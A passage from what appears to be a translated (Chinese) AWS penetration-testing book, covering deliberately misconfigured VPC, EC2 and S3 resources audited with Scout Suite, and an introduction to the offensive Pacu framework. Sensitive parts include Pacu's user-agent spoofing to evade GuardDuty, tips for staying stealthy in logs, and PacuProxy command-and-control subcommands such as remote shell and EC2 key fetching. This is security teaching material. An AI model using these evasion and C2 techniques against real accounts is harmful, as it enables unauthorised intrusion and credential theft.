在第四章中,设置您的第一个 EC2 实例,我们学习了如何创建新的 VPC 和子网。我们将从创建一个新的 VPC 和子网开始,然后启动一个所有端口都暴露的 EC2 实例。您可以参考第四章中的步骤来完成这一步骤:

  1. 让我们从转到服务| VPC |您的 VPC 开始。

  2. 单击创建 VPC 并分配新的 IP 范围:

创建 VPC

在这里,我们已将 VPC 命名为VulnVPC,并为其分配了10.0.0.0/16的 IP 范围。

  1. 在 VPC 内创建一个新的子网:

创建子网

我们正在在 VPC 内创建一个新的子网,IP 范围为10.0.1.0/24

  1. 转到 Internet 网关并创建一个新的网关;将此新网关附加到新的 VPC:

创建新的网关

  1. 转到路由表并选择新的 VPC。然后,转到路由选项卡,单击编辑路由。

  2. 添加一个新的0.0.0.0/0目标,并将目标设置为互联网网关:

添加一个新的目标并设置目标

  1. 创建一个新的安全组并允许来自任何地方的所有流量:

编辑入站规则

  1. 现在,在新的 VPC 和子网中启动一个新的 EC2 实例:

启动一个新的 EC2 实例

  1. 将其分配给易受攻击的安全组,如下截图所示:

分配安全组 ID

  1. 最后,启动 EC2 实例。

我们的易受攻击的 EC2 基础设施已经准备好。现在让我们也创建一个易受攻击的 S3 实例。

创建一个易受攻击的 S3 实例

在第七章中,侦察-识别易受攻击的 S3 存储桶,我们看到了如何创建一个易受攻击的 S3 存储桶。现在是时候再次执行这些步骤了。让我们从服务| S3 开始:

  1. 创建一个新的存储桶,命名它,然后转到设置权限

  2. 禁用以下截图中给出的所有设置并创建存储桶:

设置权限

  1. 转到存储桶的访问控制列表并允许公开读/写访问:

访问控制列表

  1. 保存所有设置

我们的易受攻击的 AWS 基础设施已经准备好。接下来,我们将配置和运行 Scout Suite,并看看它如何识别我们创建的所有安全配置错误。

配置和运行 Scout Suite

现在我们的易受攻击的 AWS 基础架构已经建立,是时候配置并运行 Scout Suite 了。Scout Suite 是一种自动化的云安全审计工具,可帮助我们评估和识别安全配置错误。它从云提供商公开的 API 中收集配置数据,并生成一个报告,突出显示潜在的易受攻击配置。该工具适用于多个云提供商,如 AWS、Azure 和 Google Cloud Platform(GCP)。

设置工具

要在我们的 AWS 基础架构上运行该工具,我们将不得不设置一个具有特定权限的 IAM 用户来配置该工具:

  1. 首先,转到 IAM | 用户。

  2. 点击“添加用户”按钮,如下截图所示:

添加 IAM 用户

  1. 我们将为此活动创建一个新的auditor用户。将访问类型设置为程序化访问,然后继续。我们不需要访问 AWS 管理控制台,因此无需创建密码:

设置用户详细信息

  1. 接下来,我们将为我们的新 IAM 用户设置策略。为了使工具成功运行,我们需要为该用户提供两个特定策略,即 ReadOnlyAccess 和 SecurityAudit,如下截图所示:

为我们的新 IAM 用户设置策略

在设置权限中选择这两个权限,然后继续。

  1. 检查最终审查页面上的详细信息,然后继续:

审查详细信息

  1. 最后,您将收到一个成功消息,以及访问密钥 ID 和秘密访问密钥凭据。请记下这些,因为配置 AWS CLI 时将需要它们:

显示成功消息的屏幕

  1. 点击“继续”,您将看到我们的用户已创建:

显示用户已创建的屏幕

接下来,我们将配置我们的 AWS CLI 以使 Scout Suite 能够按照以下步骤工作:

  1. 运行 AWS CLI 工具,并使用刚刚收到的凭据进行配置:
aws configure
  1. 输入凭据,并确保将您的区域设置为托管 AWS 基础架构的相同区域。

  2. 现在让我们安装scoutsuite;我们可以通过pip进行安装,如下所示:

sudo pip install scoutsuite

或者,我们可以从 GitHub 存储库下载该工具:

git clone https://github.com/nccgroup/ScoutSuite
  1. 如果您从 GitHub 下载脚本,您将需要运行以下命令来安装ScoutSuite的所有依赖项:
cd ScoutSuite
sudo pip install -r requirements.txt

如果您想在 Python 虚拟环境中运行该工具,请在运行pip install -r requirements.txt之前运行以下命令:

virtualenv -p python3 venv
source venv/bin/activate

然后,通过运行pip install -r requirements.txt安装所有依赖项。

  1. 最后,通过运行以下命令检查工具是否正常工作:
python Scout.py --help

如果显示帮助菜单,这意味着我们的工具已成功设置。让我们看看如何运行工具并对基础架构进行评估。

运行 Scout Suite

我们的工具现在已准备就绪。要开始评估,只需运行以下命令。

如果使用pip安装,请使用以下命令:

Scout aws

如果您正在运行 GitHub 脚本,请使用此命令:

python Scout.py aws

该工具将从每个 AWS 服务收集数据,然后分析配置:

分析配置

该工具将生成一个 HTML 报告,将保存在scoutsuite-report文件夹中。如果您已经在 AWS 上运行的 Kali 实例上运行了该工具,您可以使用 SCP/WinSCP 简单地下载文件。

解析 Scout Suite 扫描结果

让我们来看看我们的报告;看起来 Scout Suite 已经在我们的 AWS 基础架构中识别出了一些问题,如下截图所示:

Scout Suite 仪表板显示 AWS 基础架构中的问题

我们将逐一查看每个报告的问题。

让我们看看 EC2 报告。从报告中可以看出,所有 EC2 实例的配置错误都已列出:

EC2 仪表板

如果您想更详细地查看每个问题,只需单击任何问题。让我们看看“所有端口对所有开放”问题的详细信息:

所有端口对所有开放

在这里,我们更详细地了解了配置错误的位置以及为什么会出现问题。

现在,让我们在 S3 仪表板中查看我们的 S3 存储桶报告:

S3 仪表板

正如您在前面的屏幕截图中所看到的,该工具成功识别了我们创建的易受攻击的 S3 存储桶。

那么,我们的 VPC 和子网呢?VPC 服务中没有关键发现。但是,工具已经确定了 VPC 和子网的网络 ACL 中存在潜在威胁,我们需要进行调查:

VPC 仪表板

我们还可以看到 IAM 服务中存在一些关键发现;让我们也来看看:

IAM 仪表板

这些发现对审计人员识别易受攻击的密码策略和访问管理问题非常有帮助。这对系统管理员来说也非常有用,可以确保遵循最佳实践。

现在让我们看看如何使用自定义规则集根据我们的需求自定义报告。

使用 Scout Suite 的规则

Scout Suite 为我们提供了使用自定义规则集而不是默认规则集对基础设施进行审计的选项。这非常有用,因为每个组织在设置 AWS 基础设施时都有自己的业务案例。使用自定义规则集可以帮助组织根据其需求定制工具的评估。

让我们看看如何创建自己的规则集:

  1. 要创建新的规则集,我们首先需要复制现有的规则集。您可以在 GitHub 存储库中找到默认的规则集文件github.com/nccgroup/ScoutSuite/blob/master/ScoutSuite/providers/aws/rules/rulesets/detailed.json.我们这样做的原因是确保我们有正确的规则集格式,可以从中构建我们自己的规则。

  2. 下载文件并在文本编辑器中打开,如下图所示:

myruleset.json

  1. 让我们修改文件末尾的以下设置:
  • 转到名为vpc-default-network-acls-allow-all.json的设置。如果您没有对文件进行任何更改,则设置应在第1046行。

  • ingress参数的严重级别从warning更改为danger

更改严重级别

    • 转到名为vpc-subnet-with-default-acls.json的设置。如果您没有对文件进行任何更改,则设置应在第1088行:

vpc-subnet-with-default-acls.json

    • "enabled"设置更改为true
  1. 我们已经准备好使用自定义规则集运行 Scout Suite。如果您使用pip安装,请发出以下命令:
Scout aws --ruleset myruleset.json

如果您正在使用 GitHub 脚本,请发出以下命令:

Scout.py aws --ruleset myruleset.json

如果您这次查看报告,您会看到之前报告的 VPC 相关问题现在已被标记为关键:

VPC 仪表板

此外,由于我们启用了vpc-subnet-with-default-acls.json设置,Scout Suite 这次报告了问题。

同样,其他设置可以根据其用例进行修改。

摘要

在本章中,我们学习了如何设置和配置 Scout Suite。为了在我们的 AWS 基础设施上运行 Scout Suite,我们创建了一个新的 VPC 和具有易受攻击配置的子网,然后启动了一个具有易受攻击安全组的 EC2 实例。然后我们运行了 Scout Suite 来识别我们 AWS 基础设施中潜在的易受攻击配置,然后分析报告以了解漏洞是如何报告的。最后,我们学习了如何修改和使用定制的规则集来调整报告,以符合我们的需求。

在下一章中,我们将看一下 AWS 基础设施的现实世界渗透测试。

第十八章:使用 Pacu 进行 AWS 渗透测试

尽管我们在本书中一直在使用 Pacu,但本章将从头开始讨论 Pacu。理想情况下,在本章结束时,您应该能够理解并能够利用 Pacu 提供的大部分功能。这意味着您将能够利用 Pacu 的一些更高级的功能,并且可以为项目贡献自己的模块和研究。

在本章中,我们将深入了解 AWS 开发工具包 Pacu,我们将了解以下几点:

  • Pacu 是什么,为什么它重要,以及如何设置它

  • Pacu 提供的命令以及我们如何利用它们使我们受益

  • 我们如何可以自动化我们自己的任务并将它们添加到 Pacu 作为一个模块

  • PacuProxy 及其目的的简短介绍

对于渗透测试领域的任何事情,尽可能自动化是有帮助的。这使我们能够在不需要手动运行多个 AWS 命令行界面(CLI)命令的情况下,对环境进行攻击和枚举。这种工具可以节省时间,让我们有更多时间花在测试过程的手动方面。有时这些工具可能会复杂,需要对工具及其目标有深入的了解才能充分利用它。这就是为什么写了这一章,帮助您更好地了解 Pacu 提供了什么以及如何最好地利用这些功能。

Pacu 历史

从最开始说起,Pacu 是一个攻击性的 AWS 开发框架,由 Rhino Security Labs 的一小群开发人员和研究人员编写。Pacu 及其模块是用 Python 3 编写的,是开源的,并在 GitHub 上以 BSD-3 许可证提供(github.com/RhinoSecurityLabs/pacu)。

Pacu 的最初想法源于 Rhino 渗透测试团队的研究积累。发现越来越多的客户正在使用云服务器提供商,如 AWS,并且有许多未被开发的领域似乎可以被利用。随着 Rhino 团队内的想法、攻击向量和脚本的积累,很明显需要一种框架来汇总所有这些研究,并使其易于使用。作为渗透测试人员,还决定它应该能够很好地处理项目和渗透测试,即使同时进行的是不同的项目。

在内部提案和拟议项目的原型之后,Pacu 被接受,团队开始了导致 Pacu 今天的过程。为了与 AWS 的不断发展的服务和相关攻击向量保持一致,并确保 Pacu 与之保持最新,Pacu 被开发时考虑了可扩展性。这是为了允许对项目进行简单的外部贡献,并提供一个简单的管理基础设施,处理问题并为这些问题提供简单的解决方案。

开始使用 Pacu

设置 Pacu 时需要的第一件事是确保已安装 Git、Python 3 和 Pip 3。完成后,您可以按照简单的三个步骤安装和运行 Pacu。从您的操作系统的 CLI(我们使用的是 Kali Linux)中运行以下命令:

git clone https://github.com/RhinoSecurityLabs/pacu.git 
cd pacu/ && bash install.sh 
python3 pacu.py 

请注意,Pacu 不是官方支持的 Windows 操作系统。

现在 Pacu 应该启动并经过配置和数据库创建的过程。它应该首先告诉您它创建了一个新的 settings.py 文件,然后是一个消息,它创建了一个新的本地数据库文件。最后,它会要求您为新的 Pacu 会话命名。在这个例子中,我们将会话命名为 ExampleSession

Pacu 在 Kali Linux 上首次启动

现在我们创建了新的会话;Pacu 中的session本质上是一种在您正在进行的不同项目之间隔离数据、活动和凭据的方式。Pacu 使用本地 SQLite 数据库来管理会话和其中的数据,并允许创建任意数量的会话。作为渗透测试人员,会话可以被视为参与或公司,因为您可以同时在两个不同的 AWS 渗透测试中工作,因此您需要两个 Pacu 会话来分隔这两个。然后,每个 Pacu 会话将保存属于该特定参与或公司的所有数据、活动和凭据。这使您可以在 Pacu 的多个不同用途中使用相同的数据,需要更少的 API 调用到 AWS API,这意味着您在日志中更隐蔽。

SQLAlchemy Python 库用于管理 Pacu 与数据库之间的交互,但我们稍后会详细介绍。

接下来,您应该会看到 Pacu 输出了大量的帮助信息,解释了 Pacu 具有的不同命令和功能。我们现在将跳过这一部分,稍后再回来。

之后,如果你像我们一样在运行 Kali Linux,你应该会看到类似以下的消息:

Pacu 中的内置 GuardDuty 防御

正如我们在第十六章中讨论的那样,GuardDuty,这条消息是因为 Pacu 检测到它正在运行在 Kali Linux 主机上。GuardDuty 可以检测到 AWS API 调用是否来自 Kali Linux 服务器,并根据此标记警报,因此 Pacu 通过修改发送到 AWS 服务器的用户代理自动解决了这个问题。因此,当我们开始攻击时,GuardDuty 不会立即警报我们。同样的检查和解决方案过程也适用于 Parrot 和 Pentoo Linux。

之后,您应该会进入 Pacu CLI,看起来像这样:

   Pacu (ExampleSession:No Keys Set) > 

这一行正在等待我们输入命令,并且它显示我们在ExampleSession Pacu 会话中,没有设置任何 AWS 密钥。对于 Pacu 的大部分功能,需要一组 AWS 密钥,因此我们将使用set_keys Pacu 命令添加一些。在运行此命令时,我们将被要求输入密钥别名、访问密钥 ID、秘密访问密钥和 AWS 凭据的会话令牌。正如我们之前在书中讨论过的那样,会话令牌字段是可选的,因为只有临时 AWS 凭据使用会话令牌。常规 IAM 用户只有访问密钥 ID 和秘密访问密钥,因此在这种情况下,您将留空会话令牌字段。密钥别名是我们可以分配给正在添加的访问密钥集的任意名称。这仅供我们(和 Pacu)参考,因此选择一个对您有意义的名称。以下截图显示了在 Pacu 数据库中运行set_keys命令添加我们的 AWS 访问令牌时提供的输出和输入。在我们的示例中,我们选择了ExampleUser,因为这是为其创建密钥的用户的用户名。

将我们的示例用户添加到 Pacu 数据库

如你所见,我们已经将密钥集命名为ExampleUser,然后在 Pacu CLI 提示符处替换了No Keys Set,这表明ExampleUser密钥对是我们的活动集。活动密钥集用于 Pacu 与 AWS API 进行任何身份验证。您可以使用相同的set_keys命令添加其他密钥集,但使用不同的密钥别名。如果在设置一对密钥时指定了现有的密钥别名,它将用您输入的内容覆盖该密钥别名下的任何现有值。

如果我们想在 Pacu 中切换密钥对,我们可以使用名为swap_keys的 Pacu 命令。这将允许我们从在此 Pacu 会话中设置的密钥对列表中进行选择。假设在此示例中,我们已经在 Pacu 中设置了ExampleUserSecondExampleUser作为密钥对,并且我们想要从ExampleUser切换到SecondExampleUser。我们只需要运行swap_keys命令并选择我们想要的密钥对即可:

在会话中切换 Pacu 密钥

如前面的截图所示,Pacu CLI 上的ExampleUser已更改为SecondExampleUser,这表明我们有了一组新的激活的 AWS 密钥。

此时 Pacu 基本上已经设置好并准备就绪,但如果我们愿意,我们还可以做一些事情来定制我们的会话,但我们将在下一节中介绍这些命令。

Pacu 命令

Pacu 具有各种 CLI 命令,允许灵活定制和与当前会话以及 Pacu 提供的任何可用模块进行交互。在当前状态下,Pacu 提供以下命令:

  • list/ls

  • search

  • help

  • whoami

  • data

  • services

  • regions

  • update_regions

  • set_regions

  • run/exec

  • set_keys

  • swap_keys

  • import_keys

  • exit/quit/Ctrl+C

  • aws

  • proxy

以下各小节将介绍这些命令,包括描述、使用示例和实际用例。

list/ls

listls命令是相同的,它们列出所有可用的 Pacu 模块,以及它们的类别。以下截图显示了运行ls命令时返回的部分输出:

运行 ls 或 list 时返回的一些模块和类别

search [[cat]egory]

search命令正是你所想的 - 它搜索模块。它基本上与ls命令相同,通过返回类别和模块,但它还返回每个搜索的模块的一行描述,以便让您更好地了解某个模块的功能。其原因是搜索的输出几乎肯定比仅运行ls要小,因此有更具体的输出空间。

您还可以通过类别搜索来列出该类别中的所有模块,方法是在搜索中使用catcategory关键字作为部分字符串。

以下示例将返回名称中包含ec2的所有模块:

   search ec2 

以下示例将返回PERSIST类别中的所有模块:

   search category PERSIST 

因为category也可以被指定为cat,获取PERSIST类别中所有模块的简便方法如下:

   search cat PERSIST 

以下截图显示了search cat PERSIST命令的输出:

返回 PERSIST 类别中的所有模块

help

help命令简单地输出 Pacu 的帮助信息,其中包括可用命令和每个命令的描述。这打印了在每次 Pacu 启动时自动打印的相同数据。

help

help命令还有另一种变体,您可以提供模块名称,它将返回该特定模块的帮助信息。这些数据包括长描述(比搜索模块时显示的一行描述更长),先决条件模块,编写模块的人员,以及所有可用或必需的参数。在继续使用特定模块之前阅读特定模块的帮助文档总是一个好主意,因为您可能会错过一些功能和怪癖。

以下截图显示了iam__enum_permissions模块的help输出:

iam__enum_permissions 模块的帮助输出

whoami

whoami命令将输出有关当前活动 AWS 密钥集的所有信息。这意味着如果我们的活动集是SecondExampleUser用户,那么我将只看到该用户的信息,而不是其他人的。以下屏幕截图显示了whoami命令作为SecondExampleUser用户的输出:

图 8:SecondExampleUser 用户的 whoami 输出

正如你所看到的,几乎所有内容都是空的或 null。这是因为在当前会话中尚未运行任何模块。随着运行提供此列表中信息的模块,它将被填充。举个例子,我刚刚运行了iam__detect_honeytokens模块,它填写了有关我的用户的一些标识信息。以下屏幕截图显示了收集此信息后whoami命令的更新输出:

从 iam__detect_honeytokens 模块填充的部分输出

我们可以看到UserNameArnAccountId字段已更新,因为这是iam__detect_honeytokens模块在运行时获取的信息。其他模块在此输出中填入不同的信息,但iam__enum_permissions模块将填写最多的信息,因为它枚举了有关当前用户的大量信息并将其保存到本地数据库。

数据

data命令将输出存储在当前活动会话中的所有数据,其中包括已枚举的 AWS 服务数据,以及在会话期间定义的配置设置。以下屏幕截图显示了我们目前所处位置的data命令的输出(即,尚未枚举任何 AWS 服务数据):

图 10:没有枚举任何 AWS 数据的数据命令的输出

我们可以看到我们添加到会话中的两个 AWS 密钥,会话的一些标识信息,我们修改后的用户代理(因为我们在 Kali Linux 上),我们活跃的密钥集,会话区域(在set_regions命令部分讨论),以及代理数据(在proxy命令部分讨论)。

如果我运行run ec2__enum --instances命令来枚举目标帐户中的 EC2 实例,我应该能够在数据库中填充一些 EC2 数据,这将改变data命令的输出。以下屏幕截图显示了枚举 EC2 实例后data命令的新输出:

枚举 EC2 实例后数据命令的新输出

服务

services命令将输出存储在数据库中的任何 AWS 服务。鉴于我们只枚举了 EC2 实例,EC2 应该是唯一在数据库中存储数据的服务:

服务命令向我们显示数据库中存在 EC2 数据

这个命令与data命令的另一种形式很搭配,该形式在下一节中有解释。

数据<服务>|代理

这个版本的data命令允许您请求比广泛的data命令更具体的信息,特别是因为在数据库中存储了多个服务和数据类型,data命令的输出可能会变得相当大。我们可以向该命令传递任何在数据库中具有数据的 AWS 服务,以获取有关该特定服务的信息,或者我们可以传递proxy关键字以获取有关PacuProxy的信息(如在proxy命令部分中概述)。我们知道services输出EC2是我们唯一具有数据的服务,因此我们可以运行data EC2来获取相关的 EC2 数据:

使用数据命令获取 EC2 数据

我们也可以运行data proxy,但我们要等到以后再讨论。

区域

regions命令将列出 Pacu 支持的所有区域,通常是 AWS 用户可用的每个公共区域。此命令可在针对一组特定区域运行模块或使用set_regions命令时提供帮助,后者将在后面的部分中讨论:

运行 regions 命令时,列出了此时支持的所有区域

update_regions

通常不需要由普通 Pacu 用户运行update_regions命令,但重要的是要了解它的作用,以便在认为可能需要使用它时了解它的作用。

此命令运行一个 bash 脚本,将执行以下操作:

  1. 使用python3 -m pip install --upgrade botocore来将您的 botocore Python3 库更新到最新可用版本。

  2. 使用python3 -m pip show botocore来定位 botocore 安装文件夹。

  3. 然后,它将读取存储在 botocore 文件夹中的endpoints.json文件,以解析出哪些服务可用以及为这些服务支持哪些区域。

  4. 然后,它将将解析后的数据保存到 Pacu 文件夹中的./modules/service_regions.json文件中。

Pacu 将此作为其支持的服务和区域的指南。Pacu 开发人员将随着推送到 GitHub 存储库的任何更新而更新区域列表,但在两次 Pacu 更新之间可能会有新区域得到支持的情况。在这种情况下,可能有必要运行update_regions命令,但否则,您可能可以将其留给开发人员。以下屏幕截图显示了运行update_regions命令的输出,该命令获取 botocore Python 库的最新版本,然后从中提取最新的区域列表:

Botocore 由 update_regions 命令更新

set_regions [...]

set_regions命令是在学习使用 Pacu 时最重要的命令之一。正确使用时,它可以大大减少对目标环境进行的 API 调用数量,最终使我们在环境中的足迹更小。

set_regions命令控制session regions配置选项的值。基本上,此命令用于告诉 Pacu,您只想在当前会话中针对区域xyz。一个例子是,当您攻击一个只在其整个基础架构中使用了几个区域的环境时,这可能会派上用场。默认情况下,当使用--regions参数运行模块时,Pacu 会提示您确保是否要针对每个区域进行目标,但如果您已经知道只有几个区域会有有效结果,为什么要这样做呢?最终,这将导致浪费API 调用,从而使我们被检测到,并几乎没有任何好处。

使用set_regions命令时,您需要提供一个或多个 AWS 区域(这些区域在regions命令的输出中列出)。然后,Pacu 将只针对这些区域进行 API 调用。如果您知道您的目标只在两个区域使用 EC2,即us-west-2us-east-1,那么您将运行set_regions us-west-2 us-east-1,如下面的屏幕截图所示:

将我们的会话区域设置为 us-west-2 和 us-east-1

现在,如果我们愿意,我们可以再次运行data命令,session_regions的值将与我们之前看到的不同。现在它将包含两个字符串:us-west-2us-east-1

设置会话区域后,Pacu 在运行模块时会做出相应的反应。当运行接受--regions作为参数的模块,但省略该参数时,Pacu 将首先获取被定位的服务的所有支持的区域,然后将该列表与用户设置的会话区域列表进行比较。然后,它只会定位两个列表中都存在的区域。这可以防止您对不受特定 AWS 服务支持的区域运行模块,并防止您对任何您不打算运行模块的区域运行模块。

会话区域集可以随时更改,all关键字可用于返回到目标每个区域(默认)。它将像区域一样使用,如set_regions all

在使用 set_regions 命令修改我们的目标之前,我们正在针对每个 AWS 区域发出警告

run/exec <模块名称>

runexec命令做同样的事情,即运行模块。假设我们想运行ec2__enum模块。我们可以首先运行help ec2__enum来获取一些关于它的信息,包括支持的参数。然后,我们可以使用runexec运行模块,并通过该命令传递任何参数。

如果我们想要枚举us-east-1区域中的 EC2 实例,我们可以运行以下命令:

 run ec2__enum --instances --regions us-east-1 

使用实例和区域参数运行 ec2__enum 模块

如您所见,我们指定了--instances参数,只枚举 EC2 实例,并指定了--regions参数,只枚举us-east-1区域中的 EC2 实例。

前面的屏幕截图还提出了模块输出的另一个重要点-模块摘要部分。每个模块都有一个模块摘要,其目的是在一个小的输出部分中提供模块的输出。有时,根据您运行的模块的配置,输出可能跨越多个屏幕,并且可能如此之长,以至于超出了您的终端历史记录。为了帮助解决这个问题,引入了模块摘要,以提供模块在执行过程中的发现或操作的摘要。

set_keys

我们在本书中已经多次使用了set_keys命令。此命令用于向当前 Pacu 会话添加密钥集,或更新任何现有的密钥集。如前所述,如果您在没有设置任何密钥的情况下运行set_keys命令,您将设置 Pacu 中的第一个或默认密钥集。之后,set_keys命令将自动尝试使用它提供的默认值更新活动密钥集,但您可以通过修改提示的密钥别名来更改以添加另一个密钥集。

与一组密钥相关联的密钥别名实质上仅供您自己使用,因此当准备好时,您可以识别它们是什么密钥。通常,这意味着将密钥别名设置为拥有密钥的用户或角色的名称是最合理的。在其他情况下,可能更有意义的是描述提供的密钥集的访问权限。假设一位客户发送给您两组密钥,一组具有管理员级别访问权限,另一组具有开发人员级别的访问权限。在这种情况下,将它们命名为“管理员”和“开发人员”,或者类似的名称,而不是他们的用户名,可能更有意义。

正如您可能已经注意到的那样,Pacu 存储您的秘密访问密钥的任何地方,它需要反映到屏幕上,Pacu 将对该值进行审查。这样秘密访问密钥就不会被记录到 Pacu 命令/错误日志中,这样任何其他日志或偷窥者也无法访问。

交换密钥

我们已经看过 swap_keys 命令,但是当使用包含多组活动密钥的会话时,这个命令非常有用。通过运行 swap_keys,您将看到一个可用密钥列表,您可以选择其中一个成为活动密钥集。活动密钥集是在运行任何需要进行身份验证的 AWS 模块时使用的密钥集。

import_keys |--all

import_keys 命令旨在使 Pacu 和 AWS CLI 之间的桥梁更加容易。此命令将从 AWS CLI 导入凭据配置文件,并在活动会话中创建一个新的密钥集。如果要导入单个 AWS CLI 配置文件,可以在命令中直接命名,就像下面的屏幕截图中运行 import_keys default 一样:

导入 AWS CLI 默认配置文件的密钥

如前面的屏幕截图所示,我们将 default AWS CLI 配置文件导入为 imported-default 键别名,以指示这些密钥已被导入,并且配置文件名称为 default。我们还可以看到活动密钥集从 SecondExampleUser 切换到 imported-default。如果需要,我们可以使用 swap_keys 命令将它们切换回来。

我们还可以使用 --all 标志而不是 AWS CLI 配置文件名称,Pacu 将导入它可以找到的每个 AWS CLI 配置文件:

使用 --all 参数从 AWS CLI 导入多个密钥对

exit/quit/Ctrl + C

输入 exitquit 命令,或按下键盘上的 Ctrl + C 键,如果您在主菜单上,Pacu 将会优雅地退出:

退出 Pacu 并返回到我的终端

Ctrl + C 还有另一个用途;当模块正在执行时按下 Ctrl + C,该模块的执行将退出,您将返回到主要的 Pacu CLI。以下屏幕截图显示了使用 Ctrl + C 退出 ec2__enum 模块的执行(^CCtrl + C 在终端中显示的方式):

使用 Ctrl + C 组合键退出 ec2__enum 模块

aws

aws 命令与其他 Pacu 命令有些不同。这本质上是一个直接将 AWS CLI 集成到 Pacu 中的命令,因此您可以在不退出 Pacu 的情况下运行 AWS CLI 命令。它的工作方式是,如果 Pacu 检测到以 aws 开头的命令作为第一个单词运行,它将把整个命令传递到主机上的 bash shell。这意味着您可以将 Pacu 中的任何 aws 命令视为 bash 命令,因为它就是。这使您可以将 AWS CLI 命令的输出管道或重定向到系统上需要的任何位置。

非常重要的一点是,Pacu 和 AWS CLI 使用两种不同的凭据存储方法。Pacu 独立处理其凭据,而 AWS CLI 单独处理其凭据。这意味着,如果您在 Pacu 中使用 SecondExampleUser 作为活动密钥集,AWS CLI 将不会使用相同的凭据,除非您在 AWS CLI 中正确指定。AWS CLI 将正常运行,就好像您从 bash 命令行中运行它一样,这意味着将自动使用 default AWS CLI 配置文件,除非您使用 --profile 参数指定其他配置文件。

下面的屏幕截图显示了在 Pacu 中运行 aws ec2 describe-instances 命令,并且因为它被传递到 bash shell,然后被传递到 grep,以便可以搜索 ImageId 一词,并且我们可以看到找到的 EC2 实例的镜像 ID:

从 ec2 describe-instances API 调用的输出中提取 ImageId

我们没有指定要使用的 AWS CLI 配置文件,因此它自动使用了默认配置文件,而不是SecondExampleUser的 Pacu 密钥对。

proxy

proxy命令与内置的命令和控制功能PacuProxy相关联。proxy命令接受几个不同的子命令:

  • start <ip> [port]

  • stop

  • kill <agent_id>

  • list/ls

  • use none|<agent_id>

  • shell <agent_id> <command>

  • fetch_ec2_keys <agent_id>

  • stager sh|ps

我们不会深入研究这些命令各自的功能,但我们将在本章末尾的PacuProxy 简介部分更深入地了解 PacuProxy。这是因为PacuProxy仍在开发中,当前发布版本不一定是最终版本,但其总体主题和目标保持不变。如果您有兴趣了解 Pacu 和 PacuProxy 的更高级功能,可以访问 GitHub 上 Pacu Wiki 的高级功能部分:github.com/RhinoSecurityLabs/pacu/wiki/Advanced-Capabilities

在尝试处理目标 AWS 帐户中受损的 EC2 主机时,将使用这些代理命令,但我们稍后会探讨这一点。

创建一个新模块

Pacu 旨在允许外部对其自身和其中包含的模块进行贡献。这就是为什么它是以这种方式构建的,并在 BSD-3 开源许可下发布的原因。它是用 Python3 编写的,因此它的所有模块也都是用 Python3 编写的。

Pacu 带有一个模板,存储在./modules/template.py文件中,这使得您可以轻松开始编写自己的模块。它包括使您的模块工作所需的一切,以及一些示例,说明您可以如何使用 Pacu 核心程序公开的不同 API 来使构建您的模块更容易。

API

在开始之前,了解通过 Pacu 核心 API 可用的方法是很有用的。以下是一些更重要的方法:

  • session/get_active_session

  • get_proxy_settings

  • print/input

  • key_info

  • fetch_data

  • get_regions

  • install_dependencies

  • get_boto3_client/get_boto3_resource

session/get_active_session

session变量是在每个 Pacu 模块的主函数开始时创建的。通过调用get_active_session Pacu API(导入为pacu_main)来定义。此变量包含有关当前 Pacu 会话的所有信息,包括身份验证信息、AWS 服务数据以及 Pacu 存储的任何其他信息。

您可以使用以下方式复制存储在 EC2 服务中的所有数据:

   ec2_data = copy.deepcopy(session.EC2) 

然后,您可以对ec2_data进行修改,当您准备将其写入数据库时,可以在session上使用update方法:

   session.update(pacu_main.database, EC2=ec2_data) 

这行代码实际上是使用ec2_data中存储的内容更新pacu_main.database数据库中的EC2部分。最好将会话对象视为数据不可变,然后在最后进行更新,以防止模块在执行过程中遇到错误时出现数据库内容问题。

get_proxy_settings

pacu_main.get_proxy_settings方法用于获取当前会话中PacuProxy的信息。这种方法在任何正常使用情况下的模块中可能不会被使用,并且在需要与会话的代理设置进行交互/读取的PacuProxy特定模块中可能更有意义。

print/input

printinput方法是从pacu_main导入的,并且用于覆盖 Python 默认的printinput方法。这两个覆盖允许将打印到屏幕的任何文本或输出写入 Pacu 活动日志。它们还添加了一些参数,让您可以自定义打印方式。例如,也许您只想将某些内容打印到命令日志,而不是屏幕;在这种情况下,您可以使用output='file'参数。或者,也许您只想将输出打印到屏幕,但不要将其记录到命令日志中,在这种情况下,您可以使用output='screen'参数。

print命令还将接受 JSON 字典作为其值,然后使用json库将输出转储为格式化的、易于阅读的视图。在这些情况下,输出是字典时,print函数将递归扫描字典,查找SecretAccessKey的任何出现。如果找到任何内容,它将在打印或记录之前对其进行审查,以便您的秘密密钥不以明文形式记录到 Pacu 屏幕/命令日志中。

key_info

key_info方法用于获取当前会话中活动的 AWS 密钥集的信息。返回的数据与 Pacu CLI 中whoami命令的输出非常相似,但这提供了一个用于检索数据的编程接口。您可以将名为user的变量的值设置为key_info(),然后就可以访问当前用户的标识信息(如名称、ARN 和帐户 ID),以及从iam__enum_permissions模块枚举的权限。

fetch_data

fetch_data方法用于允许模块开发人员以特定目标编写模块。例如,编写一个更改 EC2 实例设置的模块的人不应该担心枚举 EC2 实例。他们应该能够假设数据可用,并编写代码以便与之一起使用。在幕后,fetch_data函数接受您传递的参数,包括请求的数据、如果数据不可用则枚举该数据的模块,以及在运行该模块时传递给该模块的任何其他参数。

让我们考虑以下代码块:

if fetch_data(['EC2', 'SecurityGroups'], 'ec2__enum', '--security-groups') is False:
        print('Pre-req module not run successfully. Exiting...')
        return

在第一行,我们看到一个if语句正在检查fetch_data的返回值是否为 false,然后报告先决条件模块未成功运行,因此正在退出当前模块。

如果您想在自己的模块中使用 EC2 安全组,您将使用此代码块来获取该数据。首先,fetch_data方法将检查本地 Pacu 数据库,看它是否已经枚举了 EC2 安全组的任何内容。如果有,它将返回true,模块编写者可以假设数据现在在数据库中。如果fetch_data在数据库中找不到数据,它将运行作为第二个参数传递的模块,并使用作为第三个参数传递的标志。在这种情况下,如果找不到 EC2 安全组,它将运行ec2__enum模块,并传递--security-groups参数。

然后模块将执行并枚举所需的数据。如果成功,它将返回true,原始模块将继续执行。但是,如果不成功,它将返回false,表示无法枚举必要的数据,应向用户显示原因。

获取区域

get_regions方法是为了让模块开发者不需要担心需要或想要定位的区域。你只需要编写你的模块,就好像每次运行时都会针对一系列区域运行一样。你可以使用get_regions来获取区域列表,只需要提供一个 AWS 服务名称。get_regions('EC2')将返回支持 EC2 服务的所有区域。

如果用户使用set_regions命令设置了会话区域,那么get_regions('EC2')将只返回支持 EC2 并在会话区域列表中的区域。因此,作为模块开发者,你实际上不需要考虑区域,只需要假设可能需要定位任意数量的区域,并且在编写模块时没有提供这些信息。

install_dependencies

